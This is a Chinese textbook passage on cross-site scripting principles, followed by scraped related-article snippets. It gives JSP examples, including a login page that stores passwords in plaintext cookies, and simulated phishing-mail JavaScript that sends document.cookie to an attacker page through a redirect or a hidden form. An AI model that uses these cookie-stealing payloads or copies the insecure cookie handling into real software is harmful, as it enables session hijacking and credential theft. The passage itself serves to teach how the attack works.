8.4 Web跨站脚本攻击

8.4.1  跨站脚本攻击的原理(1)

跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。

跨站脚本,顾名思义,就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码,一般需要以下几个条件:

客户端访问的网站是一个有漏洞的网站,但是他没有意识到;

在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);

客户点击后,代码执行,可以达到攻击目的。

XSS属于被动式的攻击。为了让读者了解XSS,首先我们举一个简单的例子。有一个应用,负责进行书本查询,代码如下:

query.jsp

 <%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
欢迎查询书本
<form action="queryResult.jsp" method="post">
请您输入书本的信息:<BR>
<input name="book" type="text" size="50">
<input type="submit" value="查询">
</form>

运行结果如下:

运行query.jsp,输入正常数据,如"安全编程技术":

 

提交,显示的结果是:

 

结果没有问题。但是该程序有漏洞。比如,客户输入"<I><FONT SIZE=7>Java</FONT></I>":

 

查询显示的结果为:

 

该问题是网站对输入的内容没有进行任何标记检查造成的。打开queryResult.jsp的客户端源代码,显示为:

 

更有甚者,我们可以输入某个网站上的一幅图片地址(此处引用google首页上的logo图片):

 

显示结果为:

 

很显然,结果很不正常!

以上只是说明了该表单提交没有对标记进行检查,还没有起到攻击的作用。为了进行攻击,我们将输入变成脚本:

8.4.1  跨站脚本攻击的原理(2)

提交,结果为:

 

说明脚本也可以执行,打开queryResult.jsp客户端源代码,为:

 

于是,程序可以让攻击者利用脚本进行一些隐秘信息的获取了!输入如下查询关键字:

 

提交,得到结果:

 

消息框中,将当前登录的sessionId显示出来了。很显然,该sessionId如果被攻击者知道,就可以访问服务器端的该用户session,获取一些信息。

提示

在JSP系列中, sessionId保存在Cookie中。

实际的攻击是怎样进行的呢?如前所述,攻击者为了得到客户的隐秘信息,一般会在网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);客户点击后,代码执行,可以达到攻击目的。比如,可以给客户发送一个邮件,吸引客户点击某个链接。

以下模拟了一个通过邮件点击链接的攻击过程。攻击者给客户发送一个邮件,并且在电子邮件中,通过某个利益的诱惑,鼓动用户尽快访问某个网站,并在邮件中给一个地址链接,这个链接的URL中含有脚本,客户在点击的过程中,就执行了这段代码。

我们模拟一个邮箱系统,首先是用户登录页面,当用户登录成功后,为了以后操作方便,该网站采用了"记住登录状态"的功能,将自己的用户名和密码放入cookie,并保存在客户端:

login.jsp

 <%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
欢迎登录邮箱
<form action="login.jsp" method="post">
请您输入账号:
<input name="account" type="text">
<BR>
请您输入密码:
<input name="password" type="password">
<BR>
<input type="submit" value="登录">
</form>
<%
//获取账号密码
String account = request.getParameter("account");
String password = request.getParameter("password");
if(account!=null)
{
//验证账号密码,假如账号密码相同表示登录成功
if(account.equals(password))
{
//放入session,跳转到下一个页面
session.setAttribute("account",account);
//将自己的用户名和密码放入cookie
response.addCookie(new Cookie("account",account));
response.addCookie(new Cookie("password",password));
response.sendRedirect("loginResult.jsp");
}
else
{
out.println("登录不成功");
}
}
%>

8.4.1  跨站脚本攻击的原理(3)

运行,得到界面如下:

 

输入正确的账号密码(如guokehua,guokehua),如果登录成功,程序跳到loginResult.jsp,并在页面底部有一个"查看邮件"链接(当然,可能还有其他功能,在此省略)。代码如下:

loginResult.jsp

 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
<%//session检查
String account = (String)session.getAttribute("account");
if(account==null)
{
response.sendRedirect("login.jsp");
}
%>
欢迎<%=account%>来到邮箱!
<HR>
<a href="mailList.jsp">查看邮箱</a>

运行效果如下:

 

为了模拟攻击,点击"查看邮箱",我们在里面放置一封"邮件"(该邮件的内容由攻击者撰写)。代码如下:

mailList.jsp

 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
<%
//session检查,代码略
%>
<!—以下是攻击者发送的一个邮件-->
这里有一封新邮件,您中奖了,您有兴趣的话可以点击:<BR>
<script type="text/javascript">
function send()
{
var cookie = document.cookie;
window.location.href = "
http://localhost/attackPage.asp?cookies=" + cookie;
}
</script>
<a onClick="send()"><u>领奖</u></a>

效果如下:

 

注意,这里的"领奖"链接,链接到另一个网站,该网站一般是攻击者自行建立。,为了保证真实性,我们在IIS下用ASP写了一个网页,因为攻击者页面和被攻击者页面一般不是在一个网站内,其URL为:

 http://localhost/attackPage.asp

很明显,如果用户点击,脚本中的send函数会运行,并将内容发送给http://localhost/attackPage.asp。假设http://localhost/attackPage.asp的源代码如下:

http://localhost/attackPage.asp

 <%@ Language = "VBScript" %>
这是模拟的攻击网站(IIS)<BR>
刚才从用户处得到的cookie值为:<BR>
<%=request("cookies")%>

注意,attackPage.asp要在IIS中运行,和前面的例子运行的不是一个服务器。

用户如果点击了"领奖"链接,attackPage.jsp上显示:

 

Cookie中的所有值都被攻击者知道了!特别是sessionId的泄露,说明攻击者还具有了访问session的可能!

此时,客户浏览器的地址栏上URL变为(读者运行时,具体内容可能不一样,但是基本效果相同):

http://localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%2
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF

8.4.1  跨站脚本攻击的原理(4)

从这个含有恶意的脚本的URL中,比较容易发现受到了攻击,因为URL后面的查询字符串一眼就能看出来。聪明的攻击者还可以将脚本用隐藏表单隐藏起来。将mailList.jsp的代码改为:

mailList.jsp

 <%@ page language="java" import="java.util.*"
pageEncoding="gb2312"%>
<%
//session检查,代码略
%>
<!—以下是攻击者发送的一个邮件-->
这里有一封新邮件,您中奖了,请您填写您的姓名并且提交:<BR>
<script type="text/javascript">
function send()
{
var cookie = document.cookie;
document.form1.cookies.value=cookie;
document.form1.submit();
}
</script>
<form name="form1" action="http://
localhost/attackPage.asp" method="post">
输入姓名:<input name="">
<input type="hidden" name="cookies">
<input type="button" value="提交姓名" onClick="send()">
</form>

该处将脚本用隐藏表单隐藏起来。输入姓名的文本框只是一个伪装。效果为:

 

attackPage.asp不变。不管你输入什么姓名,到达attackPage.asp都会显示:

 

也可以达到攻击目的。而此时,浏览器地址栏中显示为:

 

用户不知不觉受到了攻击。

提示

实际攻击的过程中,cookie的值可以被攻击者保存到数据库或者通过其他手段得知,也就是说,cookie的值不可能直接在攻击页面上显示,否则很容易被用户发现,这里只是模拟。

从以上例子可以看出,XSS可以诱使Web站点执行本来不属于它的代码,而这些行代码由攻击者提供、为用户浏览器加载,攻击者利用这些代码执行来获取信息。XSS涉及到三方,即攻击者、客户端与客户端访问的网站。XSS的攻击目标是盗取客户端的敏感信息。从本质上讲,XSS漏洞终究原因是由于网站的Web应用对用户提交请求参数未做充分的检查过滤。

8.4.2  跨站脚本攻击的危害

XSS攻击的主要危害包括:

盗取用户的各类敏感信息,如账号密码等;

读取、篡改、添加、删除企业敏感数据;

读取企业重要的具有商业价值的资料;

控制受害者机器向其它网站发起攻击;等等。(本文转自http://book.51cto.com/art/201102/245119.htm)

xss和sql注入原理学习的更多相关文章

  1. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  2. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

  3. 网络对抗课题4.3.1 SQL注入原理与实践

    网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...

  4. SQL注入原理讲解,很不错!

    SQL注入原理讲解,很不错! 原文地址:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 摘要 日前,国内最大的程序员 ...

  5. 预防XSs和sql注入常见分析

    SQL注入简介SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可 ...

  6. 总结了关于PHP xss 和 SQL 注入的问题(转)

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...

  7. sql注入原理详解(一)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 1.sql注入原理

    一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...

  9. 关于PHP xss 和 SQL 注入的问题

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,PHP如何有效防止这些漏洞 ...

随机推荐

  1. 使用ServiceStack构建Web服务

    提到构建WebService服务,大家肯定第一个想到的是使用WCF,因为简单快捷嘛.首先要说明的是,本人对WCF不太了解,但是想快速建立一个WebService,于是看到了MSDN上的这一篇文章 Bu ...

  2. 数据库的快照隔离级别(Snapshot Isolation)

    隔离级别定义事务处理数据读取操作的隔离程度,在SQL Server中,隔离级别只会影响读操作申请的共享锁(Shared Lock),而不会影响写操作申请的互斥锁(Exclusive Lock),隔离级 ...

  3. ASP.NET Core中如影随形的”依赖注入”[下]: 历数依赖注入的N种玩法

    在对ASP.NET Core管道中关于依赖注入的两个核心对象(ServiceCollection和ServiceProvider)有了足够的认识之后,我们将关注的目光转移到编程层面.在ASP.NET ...

  4. zookeeper源码分析之一服务端启动过程

    zookeeper简介 zookeeper是为分布式应用提供分布式协作服务的开源软件.它提供了一组简单的原子操作,分布式应用可以基于这些原子操作来实现更高层次的同步服务,配置维护,组管理和命名.zoo ...

  5. springMVC学习笔记--知识点总结1

    以下是学习springmvc框架时的笔记整理: 结果跳转方式 1.设置ModelAndView,根据view的名称,和视图渲染器跳转到指定的页面. 比如jsp的视图渲染器是如下配置的: <!-- ...

  6. 代码的坏味道(17)——夸夸其谈未来性(Speculative Generality)

    坏味道--夸夸其谈未来性(Speculative Generality) 特征 存在未被使用的类.函数.字段或参数. 问题原因 有时,代码仅仅为了支持未来的特性而产生,然而却一直未实现.结果,代码变得 ...

  7. 基于fis3的组件可视化道路

    首先说明一下,即使不熟悉fis3,阅读文本应该也会有所收获. 本文以fis-parser-imweb-tplv2插件为模板插件,目的不在于使用哪个模板,而是组件可视化的实现思路,不必担心. 先说说模板 ...

  8. Android之SQLite数据存储

    一.SQLite保存数据介绍 将数据库保存在数据库对于重复或者结构化数据(比如契约信息)而言是理想之选.SQL数据库的主要原则之一是架构:数据库如何组织正式声明.架构体现于用于创建数据库的SQL语句. ...

  9. Android之解析XML

    1.XML:可扩展标记语言. 可扩展标记语言是一种很像超文本标记语言的标记语言. 它的设计宗旨是传输数据,而不是显示数据. 它的标记没有被预定义.需要自行定义标签. 它被设计为具有自我描述性. 是W3 ...

  10. mac好用的markdown编辑器

    在刚开始接触markdown的时候,就被吸引了.此后一直在找贴心的好用的markdown编辑器.印象笔记和马克飞象配合着用也是挺好的,唯一的缺点就是比较封闭,发个笔记的链接给同学,还得注册才能看,导致 ...